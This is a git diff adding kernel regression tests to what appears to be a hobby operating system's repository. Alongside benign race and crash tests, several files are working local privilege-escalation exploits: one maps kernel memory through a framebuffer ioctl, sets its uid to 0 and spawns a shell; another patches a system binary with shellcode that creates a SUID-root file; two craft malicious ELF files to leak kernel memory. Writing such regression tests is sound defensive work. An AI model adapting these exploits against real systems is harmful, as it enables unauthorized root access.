diff options
Diffstat (limited to 'Userland/Tests/Kernel')
14 files changed, 843 insertions, 0 deletions
diff --git a/Userland/Tests/Kernel/CMakeLists.txt b/Userland/Tests/Kernel/CMakeLists.txt new file mode 100644 index 0000000000..df6ebb70ac --- /dev/null +++ b/Userland/Tests/Kernel/CMakeLists.txt @@ -0,0 +1,15 @@ +file(GLOB CMD_SOURCES "*.cpp") + +foreach(CMD_SRC ${CMD_SOURCES}) + get_filename_component(CMD_NAME ${CMD_SRC} NAME_WE) + add_executable(${CMD_NAME} ${CMD_SRC}) + target_link_libraries(${CMD_NAME} LibCore) + install(TARGETS ${CMD_NAME} RUNTIME DESTINATION usr/Tests/Kernel) +endforeach() + +target_link_libraries(elf-execve-mmap-race LibPthread) +target_link_libraries(nanosleep-race-outbuf-munmap LibPthread) +target_link_libraries(null-deref-close-during-select LibPthread) +target_link_libraries(null-deref-crash-during-pthread_join LibPthread) +target_link_libraries(uaf-close-while-blocked-in-read LibPthread) +target_link_libraries(pthread-cond-timedwait-example LibPthread) diff --git a/Userland/Tests/Kernel/bind-local-socket-to-symlink.cpp b/Userland/Tests/Kernel/bind-local-socket-to-symlink.cpp new file mode 100644 index 0000000000..424f02633d --- /dev/null +++ b/Userland/Tests/Kernel/bind-local-socket-to-symlink.cpp @@ -0,0 +1,31 @@ +#include <stdio.h> +#include <string.h> +#include <sys/socket.h> +#include <unistd.h> + +int main(int, char**) +{ + constexpr const char* path = "/tmp/foo"; + int rc = symlink("bar", path); + if (rc < 0) { + perror("symlink"); + return 1; + } + + int fd = socket(AF_UNIX, SOCK_STREAM, 0); + if (fd < 0) { + perror("socket"); + return 1; + } + + struct sockaddr_un addr; + memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1); + + rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr)); + if (rc < 0 && errno == EADDRINUSE) + return 0; + + return 1; +} diff --git a/Userland/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Userland/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp new file mode 100644 index 0000000000..988860427a --- /dev/null +++ b/Userland/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp @@ -0,0 +1,92 @@ +#include <AK/Types.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/ioctl.h> +#include <sys/mman.h> +#include <unistd.h> + +int main() +{ + int fd = open("/dev/fb0", O_RDWR); + if (fd < 0) { + perror("open"); + return 1; + } + + size_t width = 17825; + size_t height = 1000; + size_t pitch = width * 4; + size_t framebuffer_size_in_bytes = pitch * height * 2; + + FBResolution original_resolution; + if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) { + perror("ioctl"); + return 1; + } + + FBResolution resolution; + resolution.width = width; + resolution.height = height; + resolution.pitch = pitch; + + if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) { + perror("ioctl"); + return 1; + } + + auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0); + if (ptr == MAP_FAILED) { + perror("mmap"); + return 1; + } + + printf("Success! Evil pointer: %p\n", ptr); + + u8* base = &ptr[128 * MB]; + + uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4]; + printf("base = %p\n", base); + printf("g_processes = %#08x\n", g_processes); + + auto get_ptr = [&](uintptr_t value) -> void* { + value -= 0xc0000000; + return (void*)&base[value]; + }; + + struct ProcessList { + uintptr_t head; + uintptr_t tail; + }; + + struct Process { + // 32 next + // 40 pid + // 44 uid + u8 dummy[32]; + uintptr_t next; + u8 dummy2[4]; + pid_t pid; + uid_t uid; + }; + + ProcessList* process_list = (ProcessList*)get_ptr(g_processes); + + Process* process = (Process*)get_ptr(process_list->head); + + printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next); + + if (process->pid == getpid()) { + printf("That's me! Let's become r00t!\n"); + process->uid = 0; + } + + if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) { + perror("ioctl"); + return 1; + } + + execl("/bin/sh", "sh", nullptr); + + return 0; +} diff --git a/Userland/Tests/Kernel/crash-fcntl-invalid-cmd.cpp b/Userland/Tests/Kernel/crash-fcntl-invalid-cmd.cpp new file mode 100644 index 0000000000..eed491e27b --- /dev/null +++ b/Userland/Tests/Kernel/crash-fcntl-invalid-cmd.cpp @@ -0,0 +1,46 @@ +/* + * Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include <assert.h> +#include <fcntl.h> +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> + +int main(int, char**) +{ + int rc = fcntl(0, -42); + if (rc != -1) { + printf("FAIL: rc was %d, instead of -1\n", rc); + return 1; + } else if (errno != EINVAL) { + printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL); + return 1; + } else { + printf("PASS\n"); + } + return 0; +} diff --git a/Userland/Tests/Kernel/elf-execve-mmap-race.cpp b/Userland/Tests/Kernel/elf-execve-mmap-race.cpp new file mode 100644 index 0000000000..05fed4f991 --- /dev/null +++ b/Userland/Tests/Kernel/elf-execve-mmap-race.cpp @@ -0,0 +1,129 @@ +#include <LibELF/exec_elf.h> +#include <fcntl.h> +#include <pthread.h> +#include <stdio.h> +#include <string.h> +#include <sys/mman.h> +#include <sys/wait.h> +#include <unistd.h> + +volatile bool hax = false; + +int main() +{ + char buffer[16384]; + + auto& header = *(Elf32_Ehdr*)buffer; + header.e_ident[EI_MAG0] = ELFMAG0; + header.e_ident[EI_MAG1] = ELFMAG1; + header.e_ident[EI_MAG2] = ELFMAG2; + header.e_ident[EI_MAG3] = ELFMAG3; + header.e_ident[EI_CLASS] = ELFCLASS32; + header.e_ident[EI_DATA] = ELFDATA2LSB; + header.e_ident[EI_VERSION] = EV_CURRENT; + header.e_ident[EI_OSABI] = ELFOSABI_SYSV; + header.e_ident[EI_ABIVERSION] = 0; + header.e_type = ET_EXEC; + header.e_version = EV_CURRENT; + header.e_ehsize = sizeof(Elf32_Ehdr); + header.e_machine = EM_386; + header.e_shentsize = sizeof(Elf32_Shdr); + + header.e_phnum = 1; + header.e_phoff = 52; + header.e_phentsize = sizeof(Elf32_Phdr); + + auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]); + ph[0].p_vaddr = 0x20000000; + ph[0].p_type = PT_LOAD; + ph[0].p_filesz = sizeof(buffer); + ph[0].p_memsz = sizeof(buffer); + ph[0].p_flags = PF_R | PF_W; + ph[0].p_align = PAGE_SIZE; + + header.e_shnum = 3; + header.e_shoff = 1024; + + u32 secret_address = 0x00184658; + + auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]); + sh[0].sh_type = SHT_SYMTAB; + sh[0].sh_offset = 2048; + sh[0].sh_entsize = sizeof(Elf32_Sym); + sh[0].sh_size = 1 * sizeof(Elf32_Sym); + + sh[1].sh_type = SHT_STRTAB; + sh[1].sh_offset = secret_address - 0x01001000; + sh[1].sh_entsize = 0; + sh[1].sh_size = 1024; + + sh[2].sh_type = SHT_STRTAB; + sh[2].sh_offset = 4096; + sh[2].sh_entsize = 0; + sh[2].sh_size = 1024; + header.e_shstrndx = 2; + + auto* sym = (Elf32_Sym*)(&buffer[2048]); + sym[0].st_value = 0; + sym[0].st_name = 0; + + header.e_entry = 0; + + int fd = open("x", O_RDWR | O_CREAT, 0777); + if (fd < 0) { + perror("open"); + return 1; + } + + int nwritten = write(fd, buffer, sizeof(buffer)); + if (nwritten < 0) { + perror("write"); + return 1; + } + + sync(); + + auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0); + if (mapped == MAP_FAILED) { + perror("mmap"); + return 1; + } + + auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]); + + pthread_attr_t attrs; + pthread_attr_init(&attrs); + sched_param high_prio { 99 }; + pthread_attr_setschedparam(&attrs, &high_prio); + + pthread_t t; + pthread_create( + &t, &attrs, [](void* ctx) -> void* { + auto& ph = *(volatile Elf32_Phdr*)ctx; + for (;;) { + if (!hax) + ph.p_offset = 0x60000000; + else + ph.p_offset = 0; + hax = !hax; + usleep(1); + } + return nullptr; + }, + &writable_program_headers[0]); + + for (;;) { + + if (!fork()) { + try_again: + printf("exec\n"); + if (execl("/home/anon/x", "x", nullptr) < 0) { + } + goto try_again; + } + + printf("waitpid\n"); + waitpid(-1, nullptr, 0); + } + return 0; +} diff --git a/Userland/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp b/Userland/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp new file mode 100644 index 0000000000..8ef6604eba --- /dev/null +++ b/Userland/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp @@ -0,0 +1,106 @@ +#include <LibELF/exec_elf.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <unistd.h> + +asm("haxcode:\n" + "1: jmp 1b\n" + "haxcode_end:\n"); + +extern "C" void haxcode(); +extern "C" void haxcode_end(); + +int main() +{ + char buffer[16384]; + + auto& header = *(Elf32_Ehdr*)buffer; + header.e_ident[EI_MAG0] = ELFMAG0; + header.e_ident[EI_MAG1] = ELFMAG1; + header.e_ident[EI_MAG2] = ELFMAG2; + header.e_ident[EI_MAG3] = ELFMAG3; + header.e_ident[EI_CLASS] = ELFCLASS32; + header.e_ident[EI_DATA] = ELFDATA2LSB; + header.e_ident[EI_VERSION] = EV_CURRENT; + header.e_ident[EI_OSABI] = ELFOSABI_SYSV; + header.e_ident[EI_ABIVERSION] = 0; + header.e_type = ET_EXEC; + header.e_version = EV_CURRENT; + header.e_ehsize = sizeof(Elf32_Ehdr); + header.e_machine = EM_386; + header.e_shentsize = sizeof(Elf32_Shdr); + + header.e_phnum = 1; + header.e_phoff = 52; + header.e_phentsize = sizeof(Elf32_Phdr); + + auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]); + ph[0].p_vaddr = 0x20000000; + ph[0].p_type = PT_LOAD; + ph[0].p_filesz = sizeof(buffer); + ph[0].p_memsz = sizeof(buffer); + ph[0].p_flags = PF_R | PF_X; + ph[0].p_align = PAGE_SIZE; + + header.e_shnum = 3; + header.e_shoff = 1024; + + u32 secret_address = 0x00184658; + + auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]); + sh[0].sh_type = SHT_SYMTAB; + sh[0].sh_offset = 2048; + sh[0].sh_entsize = sizeof(Elf32_Sym); + sh[0].sh_size = 2 * sizeof(Elf32_Sym); + + sh[1].sh_type = SHT_STRTAB; + sh[1].sh_offset = secret_address - 0x01001000; + sh[1].sh_entsize = 0; + sh[1].sh_size = 1024; + + sh[2].sh_type = SHT_STRTAB; + sh[2].sh_offset = 4096; + sh[2].sh_entsize = 0; + sh[2].sh_size = 1024; + header.e_shstrndx = 2; + + auto* sym = (Elf32_Sym*)(&buffer[2048]); + sym[0].st_value = 0x20002000; + sym[0].st_name = 0; + + sym[1].st_value = 0x30000000; + sym[1].st_name = 0; + + auto* strtab = (char*)&buffer[3072]; + strcpy(strtab, "sneaky!"); + + auto* shstrtab = (char*)&buffer[4096]; + strcpy(shstrtab, ".strtab"); + + auto* code = &buffer[8192]; + size_t haxcode_size = (u32)haxcode_end - (u32)haxcode; + printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size); + memcpy(code, (void*)haxcode, haxcode_size); + + header.e_entry = 0x20000000 + 8192; + + int fd = open("x", O_RDWR | O_CREAT, 0777); + if (fd < 0) { + perror("open"); + return 1; + } + + int nwritten = write(fd, buffer, sizeof(buffer)); + if (nwritten < 0) { + perror("write"); + return 1; + } + + if (execl("/home/anon/x", "x", nullptr) < 0) { + perror("execl"); + return 1; + } + + return 0; +} diff --git a/Userland/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp b/Userland/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp new file mode 100644 index 0000000000..90a8feeb4e --- /dev/null +++ b/Userland/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp @@ -0,0 +1,70 @@ +#include <AK/Types.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/mman.h> +#include <unistd.h> + +int main() +{ + int fd = open("/bin/SystemServer", O_RDONLY); + if (fd < 0) { + perror("open"); + return 1; + } + u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0); + if (ptr == MAP_FAILED) { + perror("mmap"); + return 1; + } + + if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) { + perror("mprotect"); + return 1; + } + + /* + * + * This payload replaces the start of sigchld_handler in the /bin/SystemServer file. + * It does two things: + * + * chown ("/home/anon/own", 0, 0); + * chmod ("/home/anon/own", 04755); + * + * In other words, it turns "/home/anon/own" into a SUID-root executable! :^) + * + */ + +#if 0 + [bits 32] + [org 0x0804b111] + jmp $+17 + path: + db "/home/anon/own", 0 + mov eax, 79 + mov edx, path + mov ecx, 0 + mov ebx, 0 + int 0x82 + mov eax, 67 + mov edx, path + mov ecx, 15 + mov ebx, 2541 + int 0x82 + ret +#endif + + const u8 payload[] = { + 0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f, + 0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00, + 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb, + 0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00, + 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb, + 0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3 + }; + + memcpy(&ptr[0x3111], payload, sizeof(payload)); + + printf("ok\n"); + return 0; +} diff --git a/Userland/Tests/Kernel/nanosleep-race-outbuf-munmap.cpp b/Userland/Tests/Kernel/nanosleep-race-outbuf-munmap.cpp new file mode 100644 index 0000000000..fd043ca570 --- /dev/null +++ b/Userland/Tests/Kernel/nanosleep-race-outbuf-munmap.cpp @@ -0,0 +1,155 @@ +/* + * Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include <pthread.h> +#include <assert.h> +#include <signal.h> +#include <stdio.h> +#include <time.h> +#include <unistd.h> + +static void signal_printer(int) +{ + // no-op +} + +typedef struct yank_shared_t { + timespec* remaining_sleep; + // TODO: Be nice and use thread ID + //pthread_t sleeper_thread; +} yank_shared_t; + +static void* yanker_fn(void* shared_) +{ + yank_shared_t* shared = static_cast<yank_shared_t*>(shared_); + + timespec requested_sleep = { 1, 0 }; + int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr); + if (rc != 0) { + printf("Yanker: Failed during sleep: %d\n", rc); + return nullptr; + } + + delete shared->remaining_sleep; // T2 + + // Send SIGUSR1. + + // Use pthread: + // pthread_kill(somewhere, SIGUSR1); + // But wait! pthread_kill isn't implemented yet, and therefore causes + // a linker error. It also looks like the corresponding syscall is missing. + + // Use normal IPC syscall: + // kill(getpid(), SIGUSR1); + // But wait! If destination_pid == own_pid, then the signal is sent + // to the calling thread, *no matter what*. + + // So, we have to go the very ugly route of fork(): + // (Thank goodness this is only a demo of a kernel bug!) + pid_t pid_to_kill = getpid(); + + pid_t child_pid = fork(); + if (child_pid < 0) { + printf("Yanker: Fork failed: %d\n", child_pid); + pthread_exit(nullptr); // See below + return nullptr; + } + + if (child_pid > 0) { + // Success. Terminate quickly. T3 + // FIXME: LibPthread bug: returning during normal operation causes nullptr deref. + // Workaround: Exit manually. + pthread_exit(nullptr); + return nullptr; + } + + // Give parent *thread* a moment to die. + requested_sleep = { 1, 0 }; + rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr); + if (rc != 0) { + printf("Yanker-child: Failed during sleep: %d\n", rc); + return nullptr; + } + + // Prod the parent *process* + kill(pid_to_kill, SIGUSR1); // T4 + + // Wait a moment, to ensure the log output is as well-separated as possible. + requested_sleep = { 2, 0 }; + rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr); + if (rc != 0) { + printf("Yanker-child: Failed during after-sleep: %d\n", rc); + return nullptr; + } + + pthread_exit(nullptr); + assert(false); + // FIXME: return nullptr; +} + +int main() +{ + // Chronological order: + // T0: Main thread allocates region for the outvalue of clock_nanosleep + // T1: Main thread enters clock_nanosleep + // T2: Side thread deallocates that region + // T3: Side thread dies + // T4: A different process sends SIGUSR1, waking up the main thread, + // forcing the kernel to write to the deallocated Region. + + // I'm sorry that both a side *thread* and a side *process* are necessary. + // Maybe in the future this test can be simplified, see above. + + yank_shared_t shared = { nullptr }; + shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0 + + pthread_t yanker_thread; + int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared); + if (rc != 0) { + perror("pthread"); + printf("FAIL\n"); + return 1; + } + + // Set an action for SIGUSR1, so that the sleep can be interrupted: + signal(SIGUSR1, signal_printer); + + // T1: Go to sleep. + const timespec requested_sleep = { 3, 0 }; + rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep); + // Now we are beyond T4. + + if (rc == 0) { + // We somehow weren't interrupted. Bad. + printf("Not interrupted.\n"); + printf("FAIL\n"); + return 1; + } + + // nanosleep was interrupted and the kernel didn't crash. Good! + printf("PASS\n"); + return 0; +} diff --git a/Userland/Tests/Kernel/null-deref-close-during-select.cpp b/Userland/Tests/Kernel/null-deref-close-during-select.cpp new file mode 100644 index 0000000000..907c650616 --- /dev/null +++ b/Userland/Tests/Kernel/null-deref-close-during-select.cpp @@ -0,0 +1,36 @@ +#include <pthread.h> +#include <stdio.h> +#include <sys/select.h> +#include <unistd.h> + +int pipefds[2]; + +int main(int, char**) +{ + pipe(pipefds); + + pthread_t tid; + pthread_create( + &tid, nullptr, [](void*) -> void* { + sleep(1); + printf("ST: close()\n"); + close(pipefds[1]); + pthread_exit(nullptr); + return nullptr; + }, + nullptr); + + fd_set rfds; + FD_ZERO(&rfds); + FD_SET(pipefds[1], &rfds); + + printf("MT: select()\n"); + int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr); + if (rc < 0) { + perror("select"); + return 1; + } + + printf("ok\n"); + return 0; +} diff --git a/Userland/Tests/Kernel/null-deref-crash-during-pthread_join.cpp b/Userland/Tests/Kernel/null-deref-crash-during-pthread_join.cpp new file mode 100644 index 0000000000..409cbe90f3 --- /dev/null +++ b/Userland/Tests/Kernel/null-deref-crash-during-pthread_join.cpp @@ -0,0 +1,21 @@ +#include <pthread.h> +#include <stdio.h> +#include <sys/select.h> +#include <unistd.h> + +int main(int, char**) +{ + pthread_t tid; + pthread_create( + &tid, nullptr, [](void*) -> void* { + sleep(1); + asm volatile("ud2"); + return nullptr; + }, + nullptr); + + pthread_join(tid, nullptr); + + printf("ok\n"); + return 0; +} diff --git a/Userland/Tests/Kernel/path-resolution-race.cpp b/Userland/Tests/Kernel/path-resolution-race.cpp new file mode 100644 index 0000000000..804fbc1b52 --- /dev/null +++ b/Userland/Tests/Kernel/path-resolution-race.cpp @@ -0,0 +1,16 @@ +#include <unistd.h> +#include <sys/stat.h> + +int main() +{ + if (!fork()) { + for (;;) { + mkdir("/tmp/x", 0666); + rmdir("/tmp/x"); + } + } + for (;;) { + chdir("/tmp/x"); + } + return 0; +} diff --git a/Userland/Tests/Kernel/pledge-test-failures.cpp b/Userland/Tests/Kernel/pledge-test-failures.cpp new file mode 100644 index 0000000000..38c6742a07 --- /dev/null +++ b/Userland/Tests/Kernel/pledge-test-failures.cpp @@ -0,0 +1,25 @@ +#include <stdio.h> +#include <unistd.h> + +int main() +{ + int res = pledge("stdio unix rpath", "stdio"); + if (res < 0) { + perror("pledge"); + return 1; + } + + res = pledge("stdio unix", "stdio unix"); + if (res >= 0) { + fprintf(stderr, "second pledge should have failed\n"); + return 1; + } + + res = pledge("stdio rpath", "stdio"); + if (res < 0) { + perror("pledge"); + return 1; + } + + return 0; +} diff --git a/Userland/Tests/Kernel/pthread-cond-timedwait-example.cpp b/Userland/Tests/Kernel/pthread-cond-timedwait-example.cpp new file mode 100644 index 0000000000..2a5e2109c0 --- /dev/null +++ b/Userland/Tests/Kernel/pthread-cond-timedwait-example.cpp @@ -0,0 +1,71 @@ +#include <stdio.h> +#include <stdlib.h> +#include <pthread.h> +#include <errno.h> +#include <unistd.h> +#include <ctime> +#include <cstring> +#include <cassert> + +struct worker_t +{ + const char* name; + int count; + pthread_t thread; + pthread_mutex_t lock; + pthread_cond_t cond; + long int wait_time; +}; + +void* run_worker(void* args) +{ + struct timespec time_to_wait = {0, 0}; + worker_t* worker = (worker_t*)args; + worker->count = 0; + + while (worker->count < 25) { + time_to_wait.tv_sec = time(nullptr) + worker->wait_time; + pthread_mutex_lock(&worker->lock); + int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait); + + // Validate return code is always timed out. + assert(rc == -1); + assert(errno == ETIMEDOUT); + + worker->count++; + printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count); + pthread_mutex_unlock(&worker->lock); + } + + return nullptr; +} + +void init_worker(worker_t* worker, const char* name, long int wait_time) +{ + worker->name = name; + worker->wait_time = wait_time; + + pthread_attr_t attr; + pthread_attr_init(&attr); + pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); + + pthread_mutex_init(&worker->lock, nullptr); + pthread_cond_init(&worker->cond, nullptr); + pthread_create(&worker->thread, &attr, &run_worker, (void*) worker); + + pthread_attr_destroy(&attr); +} + +int main() +{ + worker_t worker_a; + init_worker(&worker_a, "A", 2L); + + worker_t worker_b; + init_worker(&worker_b, "B", 4L); + + pthread_join(worker_a.thread, nullptr); + pthread_join(worker_b.thread, nullptr); + + return EXIT_SUCCESS; +} diff --git a/Userland/Tests/Kernel/uaf-close-while-blocked-in-read.cpp b/Userland/Tests/Kernel/uaf-close-while-blocked-in-read.cpp new file mode 100644 index 0000000000..b75e0bbbaa --- /dev/null +++ b/Userland/Tests/Kernel/uaf-close-while-blocked-in-read.cpp @@ -0,0 +1,30 @@ +#include <pthread.h> +#include <stdio.h> +#include <string.h> +#include <unistd.h> + +int pipefds[2]; + +int main(int, char**) +{ + pipe(pipefds); + + pthread_t tid; + pthread_create( + &tid, nullptr, [](void*) -> void* { + sleep(1); + printf("Second thread closing pipes!\n"); + close(pipefds[0]); + close(pipefds[1]); + pthread_exit(nullptr); + return nullptr; + }, + nullptr); + + printf("First thread doing a blocking read from pipe...\n"); + char buffer[16]; + int nread = read(pipefds[0], buffer, sizeof(buffer)); + printf("Ok, read %d bytes from pipe\n", nread); + + return 0; +} |